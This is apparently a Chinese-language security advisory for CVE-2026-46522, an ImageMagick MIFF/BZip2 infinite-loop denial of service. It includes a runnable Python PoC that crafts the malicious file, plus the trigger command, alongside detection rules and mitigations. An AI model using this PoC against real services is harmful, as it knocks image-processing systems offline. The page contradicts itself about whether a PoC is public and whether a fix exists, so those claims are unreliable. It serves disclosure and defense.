[local] ImageMagick - Infinite Loop in the MIFF decoder can lead to CPU exhaustion

CVE-2026-46522:ImageMagick 7.x MIFF解码器的BZip2分支在处理长度为0的压缩块时陷入无限循环,导致CPU耗尽。攻击者可通过单次HTTP上传触发拒绝服务。漏洞根本原因为coders/miff.c中ReadMIFFImage函数未校验零长度压缩块。

CVE-2026-46522

ImageMagick MIFF解码器BZip2分支处理零长度压缩块时陷入无限循环导致CPU耗尽。

Medium · CVSS 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)

📋 漏洞基础信息

CVECVE-2026-46522
漏洞类型拒绝服务(DoS)
受影响版本ImageMagick 7.x (verified on 7.1.2-3)
危害等级Medium · CVSS 5.5 (AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H)
发布日期2026-05-29
提交者Jose Rivas (bl4cksku11) & Zero Trust Offsec
来源Exploit-DB 原文 ↗

🔬 漏洞根因

coders/miff.c中ReadMIFFImage函数的BZip2分支没有拒绝per-block压缩长度前缀中的length=0值。当avail_in=0时BZ2_bzDecompress返回BZ_OK,而IM循环仅在遇到BZ_STREAM_END或非BZ_OK/BZ_STREAM_END的返回码时退出,导致无限循环占用CPU。LZMA和Zip分支因解压库在空输入时返回BUF_ERROR而退出。

🎯 攻击场景

1. 攻击者使用PoC脚本生成224字节的恶意MIFF文件,该文件包含长度为0的压缩块。2. 通过HTTP上传等方式将该文件提交给运行受影响ImageMagick版本的服务。3. 服务调用magick identify或类似命令处理该文件。4. 进程陷入无限循环,单个worker线程CPU使用率达到100%。5. 进程只有在达到请求超时或被操作系统杀死时才会终止,导致CPU资源耗尽。

💥 漏洞影响

拒绝服务(DoS):攻击者通过单个恶意MIFF文件即可导致ImageMagick进程CPU耗尽,影响服务可用性。无代码执行或数据泄露风险。

⚔️ PoC / Exploit 脚本

以下为针对该漏洞的独立利用脚本(Python),可在具备相应环境的机器上直接运行:

#!/usr/bin/env python3
"""
ImageMagick MIFF 解码器无限循环拒绝服务漏洞 PoC
CVE: CVE-2026-46522
影响版本: ImageMagick 7.x (已验证 7.1.2-3)
漏洞类型: 拒绝服务 (CPU 耗尽)
作者: 基于 Jose Rivas (bl4cksku11) & Zero Trust Offsec 的 PoC 改编

漏洞原理:
- MIFF 格式中,压缩数据块以 4 字节大端整数作为长度前缀
- 当使用 BZip2 压缩时,若长度为 0,BZ2_bzDecompress() 函数会返回 BZ_OK(无错误)
- 但循环退出条件只检查 BZ_STREAM_END 或非 BZ_OK 的错误码
- BZ_OK 但 avail_in=0 的情况会导致无限循环,CPU 100% 占用

使用说明:
    python3 cve_2026_46522_poc.py [输出文件路径]
    
    默认输出: /tmp/poc.miff
    触发方式: timeout 5 magick identify /tmp/poc.miff
    预期结果: 进程在5秒后被timeout杀死,CPU使用率100%
"""

import sys
import os


def craft_miff(output_path: str = "/tmp/poc.miff") -> None:
    """
    构造恶意 MIFF 文件,触发 BZip2 分支的无限循环
    
    构造原理:
    1. MIFF 头部声明使用 BZip2 压缩
    2. 格式尾部紧接 4 字节长度前缀,设为 0x00000000
    3. BZ2_bzDecompress() 收到空输入返回 BZ_OK
    4. 循环因无法达到 BZ_STREAM_END 而永远运行
    
    Args:
        output_path: 输出文件路径
    """
    # MIFF 文件头:声明元数据和压缩方式
    # - id=ImageMagick version=1.0: MIFF 格式标识
    # - class=DirectClass: 像素数据直接存储
    # - compression=BZip: 声明使用 BZip2 压缩(关键)
    # - \x0c: 表单馈送符 FF,标记头部结束
    header = (
        b"id=ImageMagick version=1.0\n"
        b"class=DirectClass colors=0 alpha-trait=Undefined\n"
        b"number-channels=3 number-meta-channels=0 channel-mask=0x0000000000000007\n"
        b"columns=1 rows=1 depth=8\n"
        b"colorspace=sRGB compression=BZip quality=75\n"
        b"\x0c\n"  # 0x0C 是 MIFF 头部终止符
    )

    # 漏洞触发 payload:4 字节长度为 0
    # 在 ReadMIFFImage() 中,此长度被读取后传入 BZip2 解压缩
    # 长度为 0 导致 BZ2_bzDecompress() 返回 BZ_OK 但无数据可用
    body = b"\x00\x00\x00\x00"  # 大端序 32 位零长度

    # 写入文件
    with open(output_path, "wb") as f:
        f.write(header + body)

    file_size = os.path.getsize(output_path)
    print(f"[+] 漏洞文件已生成: {output_path}")
    print(f"[+] 文件大小: {file_size} 字节")
    print(f"[+] 触发命令:")
    print(f"    timeout 5 magick identify {output_path}")
    print(f"[+] 预期结果: CPU 100%% 占用,5秒后被 timeout 终止")


if __name__ == "__main__":
    # 支持命令行参数指定输出路径
    target_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/poc.miff"
    craft_miff(target_path)

🔬 深度技术分析

漏洞触发机制

漏洞存在于 ImageMagick 的 MIFF 格式解码器 coders/miff.cReadMIFFImage() 函数中。MIFF 格式支持多种压缩算法,包括 BZip2、LZMA 和 Zip。每个压缩数据块前都有一个 4 字节的大端序长度前缀,指示后续压缩数据的字节数。

核心问题:当使用 BZip2 压缩时,BZ2_bzDecompress() 函数对 avail_in=0(无输入数据)的调用返回 BZ_OK,表示"操作成功但未完成"。然而,ImageMagick 的循环退出的条件仅为:

1. 达到 BZ_STREAM_END(解压缩完成)

2. 返回码既不是 BZ_OK 也不是 BZ_STREAM_END(出现错误)

当长度为 0 时,BZ2_bzDecompress() 不断返回 BZ_OK,但没有任何数据被处理,avail_in 始终为 0。循环永远无法满足退出条件,导致无限循环,CPU 使用率固定在 100%。

相比之下:

  • LZMA 分支:lzma_code()avail_in=0 时返回 LZMA_BUF_ERROR(缓冲区错误),触发错误退出
  • Zip 分支:inflate()avail_in=0 时返回 Z_BUF_ERROR,同样触发错误退出

这就是为什么该漏洞仅影响 BZip2 分支的原因。

利用链分析

攻击者只需构造一个极小的恶意 MIFF 文件(最少 224 字节),通过以下方式投递:

1. 文件上传:许多 Web 应用允许用户上传图片(头像、附件等),ImageMagick 常用于后台处理

2. 邮件附件:邮件系统使用 ImageMagick 生成缩略图时触发

3. 社交媒体:平台自动处理上传的图片文件

4. 图库/画廊应用:CMS 或其插件使用 ImageMagick 处理媒体文件

攻击流程

1. 攻击者生成 224 字节的 poc.miff 文件

2. 通过任何方式让目标应用处理该文件(如 HTTP 上传)

3. 目标服务器调用 magick identify /path/to/poc.miff 或类似命令

4. 进程进入无限循环,占用一个 CPU 核心 100%

5. 如果多个请求并发,资源耗尽,引发拒绝服务

实际业务场景

  • Web 应用启用 identify 操作验证上传图片格式
  • CMS 在上传时自动生成缩略图
  • 邮件网关扫描附件
  • 文档管理系统预览图片

关键代码/数据结构

MIFF 文件格式结构

+-------------------+
|  文本形式的头部     | 键值对,每行一个,以 \n 分隔
+-------------------+
|   0x0C (\f)      | 头部终止符
+-------------------+
|   4 字节长度前缀   | 大端序 uint32,声明后续压缩数据长度
+-------------------+
|   压缩数据块       | BZip2/LZMA/Zip 压缩后的像素数据
+-------------------+

ReadMIFFImage() 关键伪代码

// 读取压缩算法类型
compression = ReadMIFFCompression(image);  // 从头部解析

// 根据压缩类型进入不同分支
switch (compression) {
    case BZipCompression: {
        bz_stream bz;  // BZip2 解压流
        BZ2_bzDecompressInit(&bz, 0, 0);  // 初始化
        
        while (1) {
            // 读取4字节长度前缀
            length = ReadBlobMSBLong(image);  // 关键:未检查 length==0
            
            // 设置输入缓冲
            bz.avail_in = length;  // 长度为0时,avail_in=0
            bz.next_in = ...;      // 输入数据指针
            
            // 调用解压缩
            status = BZ2_bzDecompress(&bz);  // 返回 BZ_OK
            
            // 退出检查
            if (status == BZ_STREAM_END)
                break;
            if ((status != BZ_OK) && (status != BZ_STREAM_END))
                break;  // BZ_OK != BZ_STREAM_END,不退出
        }
        
        BZ2_bzDecompressEnd(&bz);
        break;
    }
    
    case LZMACompression: {
        lzma_stream lzma;
        lzma_code(&lzma, ...);  // 空输入返回 LZMA_BUF_ERROR
        
        if (status != LZMA_OK && status != LZMA_STREAM_END)
            break;  // LZMA_BUF_ERROR 触发退出
    }
    
    case ZipCompression: {
        z_stream zip;
        inflate(&zip, ...);  // 空输入返回 Z_BUF_ERROR
        
        if (status != Z_OK && status != Z_STREAM_END)
            break;  // Z_BUF_ERROR 触发退出
    }
}

关键漏洞点

  • length = ReadBlobMSBLong(image); 未校验 length == 0
  • BZip2 的 BZ2_bzDecompress()avail_in=0 返回 BZ_OK 而非错误
  • 退出条件未处理 BZ_OK + avail_in==0 的组合

检测与防御

蓝队检测方法

1. 进程监控

  • 检测 magick 或相关 ImageMagick 进程长时间运行
  • 单个 CPU 核心 100% 占用超过阈值(如 30 秒)
  • 进程数激增,大量 magick identify 实例同时运行

2. 文件分析

  • 监控上传的 .miff 文件,检测头部 compression=BZip 且无实际压缩数据
  • 文件大小异常小(正常 MIFF 文件最小约 1KB,漏洞 PoC 仅 224 字节)
  • 文件头部正常但压缩数据块长度为 0

3. 日志分析

  • Web 服务器日志中出现大量图像上传到临时目录的记录
  • 应用日志中出现 ImageMagick 处理超时的错误
  • 系统日志中出现 OOM Killer 或进程被 kill 的记录

4. EDR 规则示例

// 检测 ImageMagick 长时间运行
rule magick_cpu_exhaustion {
    meta:
        description = "Detect ImageMagick process running excessively long"
        cve = "CVE-2026-46522"
    
    events:
        $process = ps where process_name matches "magick|convert|identify"
        $process_duration = $process.duration > 30 seconds
        $cpu_usage = $process.cpu_percent > 90
        
    condition:
        $process_duration and $cpu_usage
}

// 检测异常的 MIFF 文件上传
rule malicious_miff_file {
    meta:
        description = "Detect crafted MIFF files with BZip compression bypass"
    
    events:
        $http = http where method == "POST"
        $miff_content = $http.body contains "compression=BZip"
        $file_size = $http.body.length < 500
        $has_zero_length = $http.body contains "\x00\x00\x00\x00"
        
    condition:
        $miff_content and $file_size and $has_zero_length
}

防御措施

短期修复

1. 升级 ImageMagick:升级到已修复版本(该漏洞在 CVE-2026-46522 修复版本中已打补丁)

2. 临时禁用 MIFF 格式:在 policy.xml 中限制 MIFF 格式处理:

```xml

<policy domain="coder" rights="none" pattern="MIFF" />

```

3. 限制资源使用:使用 timeout 命令或系统资源限制(ulimit):

```bash

# 限制 ImageMagick 子进程的 CPU 时间

ulimit -t 10 # CPU 时间限制为 10 秒

```

长期加固

1. 输入验证:在应用层验证上传文件的格式,不依赖 ImageMagick 的识别

2. 沙箱运行:将 ImageMagick 放在容器或沙箱中运行,限制 CPU 使用

3. 版本管理:建立 CVE 监控机制,及时更新第三方库

4. 纵深防御

- Web 应用防火墙(WAF)规则检测恶意文件上传

- 文件上传大小限制(拒绝过小的文件)

- 上传文件类型白名单验证

补丁分析

修复补丁在 ReadMIFFImage() 中添加了对长度为 0 的检查:

length = ReadBlobMSBLong(image);
if (length == 0)  // 新增:立即退出
    break;

🛡️ 修复建议

升级至官方已修复版本(截至原文日期尚未发布修复版本)。临时缓解措施:在MIFF解码器中增加对压缩块长度为零的检查,若长度为0则直接报错退出;或使用其他图像处理库替代;或对用户上传的MIFF文件进行预处理过滤。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-31 08:10 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 如何构造触发漏洞的MIFF文件?

仅需将压缩块长度字段设置为4字节0x00000000,其余文件头正常设置compression=BZip即可。正文字节数开销极小。

❓ 为什么LZMA和Zip分支不受影响?

LZMA和Zip解压库在avail_in=0时返回BUF_ERROR,ImageMagick主循环会因此退出,不会形成无限循环。

❓ 临时缓解措施有哪些?

禁用BZip压缩的MIFF解码支持;对MIFF文件预处理,检测并拒绝压缩块长度为0的文件;增加进程超时限制。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)